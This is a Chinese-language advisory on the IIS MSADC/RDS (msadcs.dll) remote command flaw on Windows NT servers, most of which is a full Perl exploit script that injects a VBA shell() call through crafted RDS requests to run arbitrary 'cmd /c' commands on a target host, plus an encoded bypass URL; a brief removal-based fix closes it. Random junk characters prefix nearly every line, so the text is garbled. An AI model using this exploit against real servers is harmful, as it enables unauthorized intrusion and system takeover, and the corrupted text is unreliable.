IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
?;//%c8,. 'A|OVyH 涉及程序：
EK-Qa<[| Microsoft NT server
/!u#S9_B T{L{<+9% 描述：
uAWmg8 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
=> PBdW xEA%UFB.!G 详细：
)k@+8Yfa1p 如果你没有时间读详细内容的话，就删除:
%?4 G^f c:\Program Files\Common Files\System\Msadc\msadcs.dll
VHyP@JB
有关的安全问题就没有了。
LB)sk$ ) Ix"hl0Kh 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
_>/T<Db q0}?F 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
sF/X#GG- 关于利用ODBC远程漏洞的描述，请参看:
"/EE$eU S[TJ{ L( http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm cI5*`LML 1 K{
s=k/h 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
`%2e?"OOJ http://www.microsoft.com/security/bulletins/MS99-025faq.asp x bG'![OX ^GXy:S$ 这里不再论述。
Z U vA` U#B,Q6~ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
$Qm -p?f 3wS{@' /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
^UF]%qqOn 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
h=q%h8 V/0?0VKG Y:nF.An3 #将下面这段保存为txt文件，然后: "perl -x 文件名"
}T?MWcG4 x04J U$@ #!perl
5-2 77? #
,_66U; T # MSADC/RDS 'usage' (aka exploit) script
<JA`e+Bi #
=5P_xQx # by rain.forest.puppy
|~!
R5|Q #
( 8!#<$ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
z.H*"r # beta test and find errors!
fw y -M: CfMq?.4%E} use Socket; use Getopt::Std;
O<R6^0B42 getopts("e:vd:h:XR", \%args);
o W)M&$oS gT K5z.] print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
jaf q(t L3Leb %,! if (!defined $args{h} && !defined $args{R}) {
9T47U; _) print qq~
r9Ux=W\ Usage: msadc.pl -h <host> { -d <delay> -X -v }
UarU.~Uqi -h <host> = host you want to scan (ip or domain)
b$ sw`Rsw -d <seconds> = delay between calls, default 1 second
eSynw$F2N -X = dump Index Server path table, if available
qO -v = verbose
8wz4KG3SK -e = external dictionary file for step 5
z8 bDBoD6 28[dTsd% Or a -R will resume a command session
9=&e5Oq} a;Ic !:L ~; exit;}
W {Cc w q '0|AtO77 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
V1KWi ^ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
NyD [9R? if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
i0 uBb%GMT if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Vw* ;xek? $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
JMu|$"o&{ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
7z
\I \8 c=l
3Sz? if (!defined $args{R}){ $ret = &has_msadc;
,ZcW+! die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
y
D.S" J/j1Yf' 9 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
5y!
4ny _ . "cmd /c ";
buo_H@@p{s $in=<STDIN>; chomp $in;
B&0^3iKFi $command="cmd /c " . $in ;
:Ia3yi# b
r) o Sw if (defined $args{R}) {&load; exit;}
UYH;15s &I.UEF2, print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
^ RG6h &try_btcustmr;
.+7GecYz u~yJFI o print "\nStep 2: Trying to make our own DSN...";
chsjY]b &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
SsDz> PP AiSO|!<.N print "\nStep 3: Trying known DSNs...";
N<+
><>9 &known_dsn;
22|e iW/a hS&,Gm`^ print "\nStep 4: Trying known .mdbs...";
/-<S F T` &known_mdb;
`G\uTC pk 80cBLGG if (defined $args{e}){
ZQ9!k*
^ print "\nStep 5: Trying dictionary of DSN names...";
W z}RJC7p &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
oGx OJyD 8M*[RlUJB print "Sorry Charley...maybe next time?\n";
b|U&{I>TH exit;
>Lp^QP1gU j9n3 ##############################################################################
B M!\U 6 =k6zUw;5 U sub sendraw { # ripped and modded from whisker
#XR<}OYcL sleep($delay); # it's a DoS on the server! At least on mine...
\.y|=Ql_u my ($pstr)=@_;
/KjRB_5~q} socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
$ r)+7i die("Socket problems\n");
eB X#^ if(connect(S,pack "SnA4x8",2,80,$target)){
M EMD8:[' select(S); $|=1;
#3vq+mcn print $pstr; my @in=<S>;
h\".TySz select(STDOUT); close(S);
x 4fl= return @in;
Wm$( b2t } else { die("Can't connect...\n"); }}
uSCF;y=1g, aKXaor@0f. ##############################################################################
6*cG>I . Z rTYDa3 sub make_header { # make the HTTP request
?nJ7lLQA my $msadc=<<EOT
__r]@hY POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Q3>
3!FAO User-Agent: ACTIVEDATA
qOYCQ Host: $ip
Ab`mID: Content-Length: $clen
o:B?g DM Connection: Keep-Alive
Z3?,r[ E ;$)Oz ADCClientVersion:01.06
9 X}F{!p~1 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
3 kFSu `RDl k --!ADM!ROX!YOUR!WORLD!
.4Ob?ZS( Content-Type: application/x-varg
f>\OT
Content-Length: $reqlen
&}wr N(?w <AB N/nH EOT
Y)^qF)v,d ; $msadc=~s/\n/\r\n/g;
6}^0/ 76^, return $msadc;}
H|_^T.n?E {;0j9rr ##############################################################################
TJFxo?
gC" %"^$$$6% sub make_req { # make the RDS request
ofbNg _K> my ($switch, $p1, $p2)=@_;
C c*"cQ e my $req=""; my $t1, $t2, $query, $dsn;
9k8ftxB^ N"M K 0k if ($switch==1){ # this is the btcustmr.mdb query
4]9+ $query="Select * from Customers where City=" . make_shell();
"+3p??h%Rq $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
YV t#( jl $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Q!K@ T P' elsif ($switch==2){ # this is general make table query
1~:7W $query="create table AZZ (B int, C varchar(10))";
,ButNB v $dsn="$p1";}
PmO m> q !\Ht2$b elsif ($switch==3){ # this is general exploit table query
*O-1zIl p $query="select * from AZZ where C=" . make_shell();
Qr]xj7\@i $dsn="$p1";}
m qgA Sx)b~ * elsif ($switch==4){ # attempt to hork file info from index server
T|^rFaA $query="select path from scope()";
{a`t1oX( $dsn="Provider=MSIDXS;";}
Pk/ {~!+
$ gQaBQq9 elsif ($switch==5){ # bad query
$z,lq#zzl $query="select";
z =1 J{] $dsn="$p1";}
5=%:CN!/@p MMg"G6? $t1= make_unicode($query);
MGpP'G:v $t2= make_unicode($dsn);
JU+Uzp $req = "\x02\x00\x03\x00";
B:S/
?v $req.= "\x08\x00" . pack ("S1", length($t1));
({ 'I;]AQ $req.= "\x00\x00" . $t1 ;
K{)N:|y%!$ $req.= "\x08\x00" . pack ("S1", length($t2));
x 95[*[ $req.= "\x00\x00" . $t2 ;
(|%YyRaX $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
\jL n5$OW return $req;}
[= *c8 ~EJVlj i ##############################################################################
$g&,$7}O_ g4USKJ19. sub make_shell { # this makes the shell() statement
4i0~t~vDpr return "'|shell(\"$command\")|'";}
2)}ic2]pn fw aq ##############################################################################
LWgYGXWT" J.'}R2gT1 sub make_unicode { # quick little function to convert to unicode
?K , xxH my ($in)=@_; my $out;
~lO^ C for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
r.1/ * i return $out;}
&?L
K>QV Wr+?ul*_ ##############################################################################
1_JtD|Jy !14aw9Q sub rdo_success { # checks for RDO return success (this is kludge)
0<f\bY02 my (@in) = @_; my $base=content_start(@in);
#B7_5y^ if($in[$base]=~/multipart\/mixed/){
0}:- t^P return 1 if( $in[$base+10]=~/^\x09\x00/ );}
r ;:5P%: return 0;}
Q/[|/uNw? xb/L AlJ ##############################################################################
9W{`$ 30 7hAFK sub make_dsn { # this makes a DSN for us
2<&lrsh my @drives=("c","d","e","f");
pw;
print "\nMaking DSN: ";
t(3<w) r2 foreach $drive (@drives) {
,<iJ#$:
Sx print "$drive: ";
S!! i my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
5!W Q "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
cRYnQ{$' . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
72rnMHq $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
^rF{%1 DT return 0 if $2 eq "404"; # not found/doesn't exist
c_$9z>$ if($2 eq "200") {
OO)m{5r,{ foreach $line (@results) {
!OwRx5 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
R.n:W;^` } return 0;}
9
Yv;D om Wjf UbKg0 ##############################################################################
Y:|_M3&'o pfd||Z sub verify_exists {
&YMz3ugI my ($page)=@_;
s$g"6;_\ my @results=sendraw("GET $page HTTP/1.0\n\n");
o$ dnp`E return $results[0];}
?-"xP'# /8V#6d_ ##############################################################################
cEkf9:_La cYBv}ylw}R sub try_btcustmr {
FP M@%U my @drives=("c","d","e","f");
5Ym/'eT my @dirs=("winnt","winnt35","winnt351","win","windows");
?xTM mm _TF\y@hF*D foreach $dir (@dirs) {
;dXQB>Za print "$dir -> "; # fun status so you can see progress
GLI 5AbQK foreach $drive (@drives) {
eK_Q>;k5A print "$drive: "; # ditto
#$!(8>YJ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Y\e,#y $reqlenlen=length( "$reqlen" );
?6h65GO{ $clen= 206 + $reqlenlen + $reqlen;
\i
Ylh
HD f{ZO H<"Lo my @results=sendraw(make_header() . make_req(1,$drive,$dir));
`
VL` 8 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
L2"fO else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
A`E7V }~ bMT1(edm ##############################################################################
S}=d74(/n G8}w|'0m sub odbc_error {
5LVhq[}mP my (@in)=@_; my $base;
d*7nz=0&$ my $base = content_start(@in);
L<HJ! if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
z[kz [ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
8K qrB! $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
@ 2r9JqR[= $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
j$%KKl8j return $in[$base+4].$in[$base+5].$in[$base+6];}
Cx>iSx print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
:f^ =~#! print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
9f
,$JjX[ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
2=H3yEJq H,r> @Y ##############################################################################
w+ZeVZv!r CA2 , sub verbose {
q,k/@@Qd9 my ($in)=@_;
qTM,'7Rwn return if !$verbose;
~T;FOB%w print STDOUT "\n$in\n";}
I!IWmU6FN 0c V=>|b>; ##############################################################################
gg ;&a( Rs@2Pe$3 sub save {
S1 22.
I my ($p1, $p2, $p3, $p4)=@_;
`%
sKF open(OUT, ">rds.save") || print "Problem saving parameters...\n";
(n'Mf print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
MCN}p i close OUT;}
9| yn{4E sjBP #_ lW ##############################################################################
l7G&[\~ o&2(xI2 sub load {
x5q5<-# my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
L"Y_:l3"7 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
56i9V9{2 @p=<IN>; close(IN);
s7RAui $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
H38ODWO3 $target= inet_aton($ip) || die("inet_aton problems");
]^HlI4 z print "Resuming to $ip ...";
hL:n9G $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
[a~|{~?8 if($p[1]==1) {
IY$H M3t7 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
]IQTf5n $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
B% HG7 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
8BnI0l=\ if (rdo_success(@results)){print "Success!\n";}
jkd'2 else { print "failed\n"; verbose(odbc_error(@results));}}
^8S'=Bk elsif ($p[1]==3){
n(-1vN if(run_query("$p[3]")){
UEeD Nl$^u print "Success!\n";} else { print "failed\n"; }}
3nVdws elsif ($p[1]==4){
CBC0X}_` if(run_query($drvst . "$p[3]")){
r|rOIAo print "Success!\n"; } else { print "failed\n"; }}
YEG RM$'` exit;}
9I0}:J;7 m'h`%0Tc ##############################################################################
JGH;&UYP qsnZ?hXP p sub create_table {
-h&AO\*^W my ($in)=@_;
>;Er[Rywr $reqlen=length( make_req(2,$in,"") ) - 28;
mSSDV0Pfn $reqlenlen=length( "$reqlen" );
`TvpKS5.Y $clen= 206 + $reqlenlen + $reqlen;
I$@0FSl my @results=sendraw(make_header() . make_req(2,$in,""));
Y*-#yG 9 return 1 if rdo_success(@results);
SH# -3&$[ my $temp= odbc_error(@results); verbose($temp);
8r@ _ b return 1 if $temp=~/Table 'AZZ' already exists/;
<uUH r,# return 0;}
wfH#E2+pk
6C6<,c ##############################################################################
d` > '< D$|@:
mW sub known_dsn {
aiP.\`>} # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
5c?1JH62o8 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
O)g\/uRy "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
D/1{v "banner", "banners", "ads", "ADCDemo", "ADCTest");
2y6 e]D ml=tS, foreach $dSn (@dsns) {
Ew>E]Ys print ".";
?LU ]O\p next if (!is_access("DSN=$dSn"));
{ETuaFDM if(create_table("DSN=$dSn")){
*n $=2v^A print "$dSn successful\n";
2"`R_q if(run_query("DSN=$dSn")){
O gp Zwwk print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
if6/ +7 print "Something's borked. Use verbose next time\n";}}} print "\n";}
;c1ar )G7 <=;#I_E#E ##############################################################################
4L(/Z}( (=n {LMa sub is_access {
C*A!`Q?1Y my ($in)=@_;
Y%AVC9( $reqlen=length( make_req(5,$in,"") ) - 28;
9 06b= $reqlenlen=length( "$reqlen" );
y; LL^:rq $clen= 206 + $reqlenlen + $reqlen;
sTx23RJ9 my @results=sendraw(make_header() . make_req(5,$in,""));
.(T* mk*> my $temp= odbc_error(@results);
BeAkG_uG verbose($temp); return 1 if ($temp=~/Microsoft Access/);
[ =dK %7v return 0;}
9r,)Bw!RP r(g:b
^S ##############################################################################
%fY\vd 2 Y.9s-g sub run_query {
7` 113`1 my ($in)=@_;
R-Y07A $reqlen=length( make_req(3,$in,"") ) - 28;
oWg"f* $reqlenlen=length( "$reqlen" );
k+
Shhe1 $clen= 206 + $reqlenlen + $reqlen;
'!8'Xo@Go3 my @results=sendraw(make_header() . make_req(3,$in,""));
O,m0Xb2s]~ return 1 if rdo_success(@results);
i,5mH$a&u: my $temp= odbc_error(@results); verbose($temp);
hS<lUG!9UJ return 0;}
Gw 4 ~ C"`,?K(U ##############################################################################
9?8Yf(MC%u n o6q3< re sub known_mdb {
zo!e<>o my @drives=("c","d","e","f","g");
A.0eeX { my @dirs=("winnt","winnt35","winnt351","win","windows");
|Tn+Aq7 my $dir, $drive, $mdb;
VKI`@rY4 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
@w?y;W!a> _ISIq3A? # this is sparse, because I don't know of many
`;?`X C"m my @sysmdbs=( "\\catroot\\icatalog.mdb",
WvV!F?uqZ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
%Z T@& "\\system32\\certmdb.mdb",
[T|_J$
; "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
RM/q\100 AUZ^XiK my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
~.-o * "\\cfusion\\cfapps\\forums\\forums_.mdb",
@)"= b!q= "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
vwA d6Tm "\\cfusion\\cfapps\\security\\realm_.mdb",
TGUlJLT "\\cfusion\\cfapps\\security\\data\\realm.mdb",
S6~&g|T, "\\cfusion\\database\\cfexamples.mdb",
OsQB`
D "\\cfusion\\database\\cfsnippets.mdb",
X@:[.eI~ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
E?,O>bCJ5 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
> 93I|C| "\\cfusion\\brighttiger\\database\\cleam.mdb",
X8l|^ [2F "\\cfusion\\database\\smpolicy.mdb",
Rn(6Fk? "\\cfusion\\database\cypress.mdb",
r$7zk<01 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
1DzI@c~X "\\website\\cgi-win\\dbsample.mdb",
-M{.KqyW "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
mU
d[' Z "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
%d3KE|&u ); #these are just
)zU bMzF
foreach $drive (@drives) {
IEbk _-h[ foreach $dir (@dirs){
B !>hHQ2
foreach $mdb (@sysmdbs) {
'Ipp1a
Z_M print ".";
UBj" m< if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
^5 {M@o print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
D`T x,^E if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
~yrEB: w`_ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
W7R`})F } else { print "Something's borked. Use verbose next time\n"; }}}}}
IYZ$a/{P 3m2hB%SNb foreach $drive (@drives) {
$F^p5EXkc6 foreach $mdb (@mdbs) {
H_ecb;|m P print ".";
l)1FCD V if(create_table($drv . $drive . $dir . $mdb)){
0+H4sz%. print "\n" . $drive . $dir . $mdb . " successful\n";
9^D5Sl$g if(run_query($drv . $drive . $dir . $mdb)){
Wzm!:U2R* print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
0m`{m'B4n } else { print "Something's borked. Use verbose next time\n"; }}}}
=Fu~ 0W c }
-OvzEmI" w-2?|XvDmf ##############################################################################
;:)1:Dy5 Y/| wOm;| sub hork_idx {
f9ziSD# print "\nAttempting to dump Index Server tables...\n";
5;:P^[cH9 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
eyUhM jd $reqlen=length( make_req(4,"","") ) - 28;
P&3Z,f0 $reqlenlen=length( "$reqlen" );
Zn dv!z $clen= 206 + $reqlenlen + $reqlen;
g`NJ
` my @results=sendraw2(make_header() . make_req(4,"",""));
Ms
*
`w5n if (rdo_success(@results)){
!:zWhu, my $max=@results; my $c; my %d;
;s$bVGHr for($c=19; $c<$max; $c++){
kim q m $results[$c]=~s/\x00//g;
;";#{ B: $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
d z - $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
reO^_ q' $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
cV|u ]ce%1 $d{"$1$2"}="";}
oZ
CvEVUk foreach $c (keys %d){ print "$c\n"; }
,) u7P Ms } else {print "Index server doesn't seem to be installed.\n"; }}
ZKk*2EK]2z ysHmi{V~ ##############################################################################
b ~5Q|3P 9 948 lL& sub dsn_dict {
K
|Z] open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Oo-%;l`& while(<IN>){
KV1/!r+* $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
b@p3iq: next if (!is_access("DSN=$dSn"));
e7# B? if(create_table("DSN=$dSn")){
[H-r0A h print "$dSn successful\n";
G/y@`A) if(run_query("DSN=$dSn")){
Vm_<eyI2 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
3 $~6 +i print "Something's borked. Use verbose next time\n";}}}
C VyYV &U, print "\n"; close(IN);}
C;DR@'+q s]lIDp} ##############################################################################
q3SYlL'a v "Z`#Bi sub sendraw2 { # ripped and modded from whisker
QO fqW@g sleep($delay); # it's a DoS on the server! At least on mine...
X{-@3tG<r my ($pstr)=@_;
Lt< KRs socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
XF S"~ { die("Socket problems\n");
<E&[sQ |3 if(connect(S,pack "SnA4x8",2,80,$target)){
~WKc O& print "Connected. Getting data";
94H s.S) open(OUT,">raw.out"); my @in;
"{1SDbwmMo select(S); $|=1; print $pstr;
Ho_ 2zx:8b while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
4Iq-4IG( close(OUT); select(STDOUT); close(S); return @in;
QP%*`t? } else { die("Can't connect...\n"); }}
:)P Aj D=!e6E<>@ ##############################################################################
0P%,1M3d |o5F%1o sub content_start { # this will take in the server headers
~ "IjT'W3 my (@in)=@_; my $c;
x kl XV for ($c=1;$c<500;$c++) {
z}gfH| if($in[$c] =~/^\x0d\x0a/){
m0$4 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
N.l\2S} else { return $c+1; }}}
5VLJ:I?0O return -1;} # it should never get here actually
|K7zN\
Wq }B R@vY'd ##############################################################################
bAd$
>DI[ Ie<`WU K sub funky {
q| EE
em my (@in)=@_; my $error=odbc_error(@in);
'9w.~@7 if($error=~/ADO could not find the specified provider/){
kr=&x)Wy! print "\nServer returned an ADO miscofiguration message\nAborting.\n";
s?}m~Pl exit;}
sz?/4tY if($error=~/A Handler is required/){
0</]Jo% print "\nServer has custom handler filters (they most likely are patched)\n";
'7j!B1K- exit;}
!.^%*6f if($error=~/specified Handler has denied Access/){
~"t33U6 print "\nServer has custom handler filters (they most likely are patched)\n";
N8-!}\, exit;}}
bq}hj Cy
^kF-mM= ##############################################################################
}2 X" D{Rk9MKkE sub has_msadc {
>&`S$1 o my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
m :sT) my $base=content_start(@results);
p2\mPFxEP return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
uPvE;E _ return 0;}
-$A d#Eu]M }ag
-J."5M ########################
SFaG`T= i_KAD U&mP 4uS C> 解决方案：
2rG;j52))a 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
InCJ4D 2、移除web 目录: /msadc
